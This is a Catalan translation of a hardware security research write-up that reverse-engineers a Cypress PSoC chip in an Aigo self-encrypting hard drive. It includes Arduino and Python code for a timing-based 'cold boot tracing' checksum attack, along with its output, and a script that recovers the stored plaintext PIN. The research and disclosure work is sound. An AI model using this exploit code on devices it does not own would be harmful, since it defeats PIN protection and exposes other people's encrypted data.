Revertir i piratejar la unitat HDD externa autoxifrada d'Aigo. Part 2: Abocador de Cypress PSoC

Aquesta és la segona i última part de l'article sobre la pirateria de unitats externes d'autoxifrat. Permeteu-me que us recordi que recentment un company em va portar un disc dur Patriot (Aigo) SK8671 i vaig decidir revertir-lo, i ara us comparteixo el que en va sortir. Abans de llegir més, assegureu-vos de llegir primera part articles

4. Comencem a fer un abocador de la unitat flash PSoC interna
5. Protocol ISSP
– 5.1. Què és ISSP
– 5.2. Vectors desmitificant
– 5.3. Comunicació amb PSoC
– 5.4. Identificació de registres en xip
– 5.5. Bits de seguretat
6. Primer atac (fallit): ROMX
7. Segon atac: rastreig d'arrencada en fred
– 7.1. Implementació
– 7.2. Lectura del resultat
– 7.3. Reconstrucció binària flash
– 7.4. Cerca de l'adreça d'emmagatzematge del codi PIN
– 7.5. Prenent un abocador del bloc núm. 126
– 7.6. Recuperació del codi PIN
8. Què passa?
9. Conclusió

Revertir i piratejar la unitat HDD externa autoxifrada d'Aigo. Part 2: Abocador de Cypress PSoC


4. Comencem a fer un abocador de la unitat flash PSoC interna

Així, tot indica (tal com vam establir a [la primera part]()) que el codi PIN s'emmagatzema a les profunditats de flaix del PSoC. Per tant, hem de llegir aquestes profunditats de flaix. Davant dels treballs necessaris:

  • prendre el control de la "comunicació" amb el microcontrolador;
  • trobar una manera de comprovar si aquesta “comunicació” està protegida de la lectura des de l'exterior;
  • Trobeu una manera d'evitar la protecció.

Hi ha dos llocs on té sentit buscar un codi PIN vàlid:

  • memòria flash interna;
  • SRAM, on es pot emmagatzemar el codi pin per comparar-lo amb el codi pin introduït per l'usuari.

De cara al futur, notaré que encara vaig aconseguir un abocament de la unitat flaix PSoC interna, obviant el seu sistema de seguretat mitjançant un atac de maquinari anomenat "traçament d'arrencada en fred", després de revertir les capacitats no documentades del protocol ISSP. Això em va permetre bolcar directament el codi PIN real.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Codi final del programa:

5. Protocol ISSP

5.1. Què és ISSP

La "comunicació" amb un microcontrolador pot significar diferents coses: des de "proveïdor a venedor" fins a la interacció mitjançant un protocol en sèrie (per exemple, ICSP per al PIC de Microchip).

Cypress té el seu propi protocol propietari per a això, anomenat ISSP (protocol de programació en sèrie en el sistema), que es descriu parcialment a especificació tècnica. Patent US7185162 també dóna alguna informació. També hi ha un equivalent d'OpenSource anomenat HSSP (l'utilitzarem una mica més endavant). ISSP funciona de la següent manera:

  • reiniciar PSoC;
  • envia el número màgic al pin de dades en sèrie d'aquest PSoC; per entrar al mode de programació externa;
  • enviar ordres, que són cadenes de bits llargs anomenades "vectors".

La documentació ISSP defineix aquests vectors només per a un petit grapat d'ordres:

  • Inicialitzar-1
  • Inicialitzar-2
  • Inicialització-3 (opcions de 3V i 5V)
  • ID-CONFIGURACIÓ
  • LLEGIR-ID-PARULA
  • SET-BLOCK-NUM: 10011111010dddddddd111, on dddddddd=block #
  • ESborrat a granel
  • PROGRAMA-BLOC
  • VERIFICAR-CONFIGURACIÓ
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, on DDDDDDDD = sortida de dades, aaaaaa = adreça (6 bits)
  • BYTE D'ESCRIPTURA: 10010aaaaaadddddd111, on dddddddd = dades entrades, aaaaaa = adreça (6 bits)
  • SEGUR
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, on DDDDDDDDDDDDDDDD = sortida de dades: suma de comprovació del dispositiu
  • ESBORRA EL BLOC

Per exemple, el vector d'Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Tots els vectors tenen la mateixa longitud: 22 bits. La documentació de l'HSSP té informació addicional sobre ISSP: "Un vector ISSP no és més que una seqüència de bits que representa un conjunt d'instruccions".

5.2. Vectors desmitificant

Anem a esbrinar què està passant aquí. Inicialment, vaig suposar que aquests mateixos vectors eren versions en brut de les instruccions M8C, però després de comprovar aquesta hipòtesi, vaig descobrir que els codis operatius de les operacions no coincidien.

Llavors vaig buscar a Google el vector de dalt i em vaig trobar això un estudi on l'autor, tot i que no entra en detall, dóna alguns consells útils: “Cada instrucció comença amb tres bits que corresponen a una de les quatre mnemotècniques (llegir des de la RAM, escriure a RAM, llegir registre, escriure registre). Després hi ha 8 bits d'adreça, seguits de 8 bits de dades (lectura o escriptura) i finalment tres bits de parada.

Aleshores vaig poder obtenir informació molt útil de la secció Supervisory ROM (SROM). manual tècnic. SROM és una ROM codificada en dur al PSoC que proporciona funcions d'utilitat (de manera similar a Syscall) per al codi de programa que s'executa a l'espai d'usuari:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: Llegir taula
  • 07h: CheckSum
  • 08h: Calibrar0
  • 09h: Calibrar1

En comparar els noms de vectors amb les funcions SROM, podem mapar les diverses operacions suportades per aquest protocol amb els paràmetres SROM esperats. Gràcies a això, podem descodificar els tres primers bits de vectors ISSP:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Tanmateix, només es pot obtenir una comprensió completa dels processos en xip mitjançant la comunicació directa amb el PSoC.

5.3. Comunicació amb PSoC

Des que Dirk Petrautsky ja ho ha fet portat El codi HSSP de Cypress a Arduino, vaig utilitzar Arduino Uno per connectar-me al connector ISSP del tauler del teclat.

Tingueu en compte que en el curs de la meva investigació, vaig canviar bastant el codi de Dirk. Podeu trobar la meva modificació a GitHub: aquí i l'script Python corresponent per comunicar-me amb Arduino, al meu repositori Cypress_psoc_tools.

Per tant, utilitzant Arduino, primer vaig utilitzar només els vectors "oficials" per a la "comunicació". Vaig intentar llegir la ROM interna mitjançant l'ordre VERIFY. Com era d'esperar, no he pogut fer això. Probablement a causa del fet que els bits de protecció de lectura estan activats dins de la unitat flaix.

Després vaig crear alguns dels meus vectors senzills per escriure i llegir memòries/registres. Tingueu en compte que podem llegir la SROM sencera encara que la unitat flaix estigui protegida!

5.4. Identificació de registres en xip

Després de mirar els vectors "desmuntats", vaig descobrir que el dispositiu utilitza registres no documentats (0xF8-0xFA) per especificar els codis operatius M8C, que s'executen directament, sense passar per la protecció. Això em va permetre executar diversos codis operatius com ara "ADD", "MOV A, X", "PUSH" o "JMP". Gràcies a ells (veient els efectes secundaris que tenen en els registres) he pogut determinar quins dels registres no documentats eren en realitat registres regulars (A, X, SP i PC).

Com a resultat, el codi "desmuntat" generat per l'eina HSSP_disas.rb té aquest aspecte (he afegit comentaris per a més claredat):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bits de seguretat

En aquesta etapa ja puc comunicar-me amb el PSoC, però encara no tinc informació fiable sobre els bits de seguretat de la unitat flaix. Em va sorprendre molt el fet que Cypress no ofereix a l'usuari del dispositiu cap mitjà per comprovar si la protecció està activada. Vaig aprofundir en Google per entendre finalment que el codi HSSP proporcionat per Cypress es va actualitzar després que Dirk va publicar la seva modificació. I així! Ha aparegut aquest nou vector:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Utilitzant aquest vector (vegeu read_security_data a psoc.py), obtenim tots els bits de seguretat a SRAM a 0x80, on hi ha dos bits per bloc protegit.

El resultat és depriment: tot està protegit en el mode "desactiva la lectura i l'escriptura externa". Per tant, no només no podem llegir res des d'una unitat flaix, sinó que tampoc podem escriure res (per exemple, per instal·lar-hi un dumper ROM). I l'única manera de desactivar la protecció és esborrar completament tot el xip. 🙁

6. Primer atac (fallit): ROMX

Tanmateix, podem provar el següent truc: com que tenim la capacitat d'executar codis operatius arbitraris, per què no executar ROMX, que s'utilitza per llegir la memòria flash? Aquest enfocament té moltes possibilitats d'èxit. Perquè la funció ReadBlock que llegeix dades de la SROM (que s'utilitzen els vectors) comprova si es crida des de l'ISSP. Tanmateix, és possible que el codi operatiu ROMX no tingui aquesta comprovació. Així doncs, aquí teniu el codi de Python (després d'afegir algunes classes d'ajuda al codi Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Malauradament, aquest codi no funciona. 🙁 O més aviat funciona, però a la sortida obtenim els nostres propis codis operatius (0x28 0x30 0x40)! No crec que la funcionalitat corresponent del dispositiu sigui un element de protecció de lectura. Això s'assembla més a un truc d'enginyeria: quan s'executen codis operatius externs, el bus ROM es redirigeix ​​a un buffer temporal.

7. Segon atac: rastreig d'arrencada en fred

Com que el truc ROMX no va funcionar, vaig començar a pensar en una altra variació d'aquest truc, que es descriu a la publicació. "Llençar massa llum a la protecció del firmware d'un microcontrolador".

7.1. Implementació

La documentació ISSP proporciona el següent vector per a CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Això bàsicament crida a la funció SROM 0x07, tal com es presenta a la documentació (la meva cursiva):

Aquesta funció de verificació de la suma de comprovació. Calcula una suma de control de 16 bits del nombre de blocs especificats per l'usuari en un banc flash, començant des de zero. El paràmetre BLOCKID s'utilitza per passar el nombre de blocs que s'utilitzaran per calcular la suma de control. Un valor de "1" només calcularà la suma de control del bloc zero; mentre que "0" farà que es calculi la suma de control total dels 256 blocs del banc flash. La suma de comprovació de 16 bits es retorna mitjançant KEY1 i KEY2. El paràmetre KEY1 emmagatzema els 8 bits de baix ordre de la suma de control, i el paràmetre KEY2 emmagatzema els 8 bits d'ordre superior. Per als dispositius amb diversos bancs flash, la funció de suma de comprovació es crida per a cadascun per separat. El número de banc amb el qual funcionarà l'estableix el registre FLS_PR1 (fixant-hi el bit corresponent al banc flash objectiu).

Tingueu en compte que es tracta d'una suma de verificació senzilla: els bytes simplement s'afegeixen un darrere l'altre; no hi ha cap peculiaritat CRC. A més, sabent que el nucli M8C té un conjunt molt reduït de registres, vaig suposar que en calcular la suma de control, els valors intermedis s'enregistraran en les mateixes variables que finalment aniran a la sortida: KEY1 (0xF8) / KEY2 ( 0xF9).

Així, en teoria, el meu atac és així:

  1. Ens connectem per ISSP.
  2. Comencem el càlcul de la suma de control mitjançant el vector CHECKSUM-SETUP.
  3. Reiniciem el processador després d'un temps T especificat.
  4. Llegim la memòria RAM per obtenir la suma de control actual C.
  5. Repetiu els passos 3 i 4, augmentant T una mica cada cop.
  6. Recuperem dades d'una unitat flaix restant la suma de comprovació C anterior de l'actual.

Tanmateix, hi ha un problema: el vector Initialize-1 que hem d'enviar després de reiniciar sobreescriu KEY1 i KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Aquest codi sobreescriu la nostra preciosa suma de verificació trucant a Calibrate1 (funció SROM 9)... Potser només podem enviar el número màgic (des del principi del codi anterior) per entrar en mode de programació i després llegir la SRAM? I sí, funciona! El codi Arduino que implementa aquest atac és bastant senzill:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Llegiu checkum_delay.
  2. Executeu el càlcul de la suma de verificació (send_checksum_v).
  3. Espereu un període de temps determinat; tenint en compte els següents inconvenients:
    • Vaig perdre molt de temps fins que vaig saber què va resultar retardMicrosegons funciona correctament només amb retards que no superin els 16383 μs;
    • i després vaig tornar a matar la mateixa quantitat de temps fins que vaig descobrir que delayMicrosegons, si se li passa 0 com a entrada, funciona completament incorrectament!
  4. Reinicieu el PSoC en mode de programació (només enviem el número màgic, sense enviar vectors d'inicialització).

Codi final en Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

En poques paraules, què fa aquest codi:

  1. Reinicia el PSoC (i li envia un número màgic).
  2. Envia vectors d'inicialització complets.
  3. Crida a la funció Arduino Cmnd_STK_START_CSUM (0x85), on el retard en microsegons es passa com a paràmetre.
  4. Llegeix la suma de control (0xF8 i 0xF9) i el registre no documentat 0xF1.

Aquest codi s'executa 10 vegades en 1 microsegon. 0xF1 s'inclou aquí perquè era l'únic registre que va canviar en calcular la suma de control. Potser és una mena de variable temporal utilitzada per la unitat lògica aritmètica. Tingueu en compte el lleig hack que faig servir per restablir l'Arduino mitjançant picocom quan l'Arduino deixa de mostrar signes de vida (no tinc idea de per què).

7.2. Lectura del resultat

El resultat de l'script Python té aquest aspecte (simplificat per a la llegibilitat):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Dit això, tenim un problema: com que estem operant amb una suma de verificació real, un byte nul no canvia el valor llegit. Tanmateix, com que tot el procediment de càlcul (8192 bytes) triga 0,1478 segons (amb lleugeres variacions cada vegada que s'executa), que equival a aproximadament 18,04 μs per byte, podem utilitzar aquest temps per comprovar el valor de la suma de verificació en els moments adequats. Per a les primeres tirades, tot es llegeix amb força facilitat, ja que la durada del procediment computacional és gairebé sempre la mateixa. Tanmateix, el final d'aquest abocament és menys precís perquè les "desviacions de temps menors" a cada execució es sumen i esdevenen importants:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Això són 10 abocaments per cada retard de microsegons. El temps total de funcionament per abocar tots els 8192 bytes d'una unitat flaix és d'unes 48 hores.

7.3. Reconstrucció binària flash

Encara no he acabat d'escriure el codi que reconstruirà completament el codi del programa de la unitat flaix, tenint en compte totes les desviacions de temps. Tanmateix, ja he restaurat l'inici d'aquest codi. Per assegurar-me que ho vaig fer correctament, el vaig desmuntar amb m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Sembla bastant plausible!

7.4. Cerca de l'adreça d'emmagatzematge del codi PIN

Ara que podem llegir la suma de comprovació en els moments que necessitem, podem comprovar fàcilment com i on canvia quan:

  • introduïu el codi PIN incorrecte;
  • canviar el codi PIN.

Primer, per trobar l'adreça d'emmagatzematge aproximada, vaig fer un bolcat de suma de verificació en increments de 10 ms després d'un reinici. Aleshores vaig introduir el PIN incorrecte i vaig fer el mateix.

El resultat no va ser gaire agradable, ja que hi va haver molts canvis. Però al final vaig poder determinar que la suma de control va canviar entre 120000 µs i 140000 µs de retard. Però el "codi pin" que vaig mostrar allà era completament incorrecte, a causa d'un artefacte del procediment delayMicrosegons, que fa coses estranyes quan se li passa 0.

Aleshores, després de passar gairebé 3 hores, vaig recordar que la trucada del sistema SROM CheckSum rep un argument com a entrada que especifica el nombre de blocs per a la suma de control! Això. podem localitzar fàcilment l'adreça d'emmagatzematge del codi PIN i el comptador d'intents incorrectes, amb una precisió de fins a un bloc de 64 bytes.

Les meves execucions inicials van produir el resultat següent:

Revertir i piratejar la unitat HDD externa autoxifrada d'Aigo. Part 2: Abocador de Cypress PSoC

Aleshores vaig canviar el codi PIN de "123456" a "1234567" i vaig obtenir:

Revertir i piratejar la unitat HDD externa autoxifrada d'Aigo. Part 2: Abocador de Cypress PSoC

Així, el codi PIN i el comptador d'intents incorrectes sembla que s'emmagatzemen al bloc núm. 126.

7.5. Prenent un abocador del bloc núm. 126

El bloc #126 s'hauria d'ubicar al voltant de 125x64x18 = 144000μs, des de l'inici del càlcul de la suma de verificació, al meu abocament complet, i sembla bastant plausible. Aleshores, després de seleccionar manualment nombrosos abocaments no vàlids (a causa de l'acumulació de "desviacions de temps menors"), vaig acabar obtenint aquests bytes (a una latència de 145527 μs):

Revertir i piratejar la unitat HDD externa autoxifrada d'Aigo. Part 2: Abocador de Cypress PSoC

És bastant obvi que el codi PIN s'emmagatzema en forma no xifrada! Aquests valors, per descomptat, no estan escrits en codis ASCII, però com a resultat, reflecteixen les lectures preses del teclat capacitiu.

Finalment, vaig fer algunes proves més per trobar on s'emmagatzemava el comptador d'intents dolents. Aquí teniu el resultat:

Revertir i piratejar la unitat HDD externa autoxifrada d'Aigo. Part 2: Abocador de Cypress PSoC

0xFF: significa "15 intents" i disminueix amb cada intent fallit.

7.6. Recuperació del codi PIN

Aquí teniu el meu codi lleig que agrupa l'anterior:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Aquest és el resultat de la seva execució:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hura! Funciona!

Tingueu en compte que els valors de latència que vaig utilitzar probablement siguin rellevants per a un PSoC específic, el que vaig utilitzar.

8. Què passa?

Per tant, resumim pel costat de PSoC, en el context de la nostra unitat Aigo:

  • podem llegir SRAM encara que estigui protegit contra lectura;
  • Podem obviar la protecció antilliscada mitjançant un atac d'arrencada en fred i llegint directament el codi PIN.

Tanmateix, el nostre atac té alguns defectes a causa de problemes de sincronització. Es podria millorar de la següent manera:

  • escriure una utilitat per descodificar correctament les dades de sortida que s'obtenen com a resultat d'un atac de "traça d'arrencada en fred";
  • utilitzar un gadget FPGA per crear retards de temps més precisos (o utilitzar temporitzadors de maquinari Arduino);
  • Proveu un altre atac: introduïu un codi PIN deliberadament incorrecte, reinicieu i llenceu la memòria RAM, amb l'esperança que el codi PIN correcte es desarà a la memòria RAM per comparar-lo. Tanmateix, això no és tan fàcil de fer a Arduino, ja que el nivell de senyal d'Arduino és de 5 volts, mentre que la placa que estem examinant funciona amb senyals de 3,3 volts.

Una cosa interessant que es podria provar és jugar amb el nivell de tensió per evitar la protecció de lectura. Si aquest enfocament funcionés, podríem obtenir dades absolutament precises de la unitat flaix, en lloc de confiar en llegir una suma de verificació amb retards de temps imprecis.

Com que la SROM probablement llegeix els bits de guàrdia mitjançant la crida del sistema ReadBlock, podríem fer el mateix que descrit al bloc de Dmitry Nedospasov: una reimplementació de l'atac de Chris Gerlinski, anunciada a la conferència "REcon Brussels 2017".

Una altra cosa divertida que es podria fer és esborrar el cas del xip: fer un abocador de SRAM, identificar trucades i vulnerabilitats del sistema no documentades.

9. Conclusió

Així doncs, la protecció d'aquesta unitat deixa molt a desitjar, perquè utilitza un microcontrolador normal (no “endurit”) per emmagatzemar el codi PIN... A més, no he mirat (encara) com van les coses amb les dades. xifratge en aquest dispositiu!

Què pots recomanar per a Aigo? Després d'analitzar un parell de models de unitats HDD xifrades, el 2015 vaig fer presentació a SyScan, en què va examinar els problemes de seguretat de diverses unitats HDD externes i va fer recomanacions sobre què es podria millorar-hi. 🙂

Vaig passar dos caps de setmana i diverses nits fent aquesta recerca. En total unes 40 hores. Comptant des del principi (quan vaig obrir el disc) fins al final (abocament del codi PIN). Les mateixes 40 hores inclouen el temps que vaig dedicar a escriure aquest article. Va ser un viatge molt emocionant.

Font: www.habr.com

Afegeix comentari